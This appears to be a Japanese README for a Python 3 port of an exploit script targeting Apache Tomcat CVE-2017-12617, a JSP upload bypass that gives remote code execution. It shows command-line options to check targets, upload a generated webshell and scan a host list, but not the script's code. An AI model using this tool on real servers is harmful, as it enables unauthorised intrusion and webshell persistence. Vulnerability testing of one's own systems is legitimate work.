tyranteye666/tomcat-cve-2017-12617Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP アップロードバイパス / Python3 用リモートコード実行
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP アップロードバイパス / リモートコード実行 (Python3用)
元のスクリプトを Python 3 と互換性を持たせるために、いくつか調整を加えただけです！
何か問題や不具合があれば、遠慮なく [email protected] までメールしてください。ご希望であれば、直接私に連絡してもらっても構いません。
メールアドレスについてとやかく言わないでください。使い捨て用として使っているので
./cve-2017-12617.py [options]
オプション:
-u ,--url [::] 対象URLが脆弱かどうかをチェックします
-p,--pwn [::] webshellを生成してアップロードします
-l,--list [::] ホストリスト
[+]使い方:
./cve-2017-12617.py -u http://127.0.0.1
./cve-2017-12617.py --url http://127.0.0.1
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt
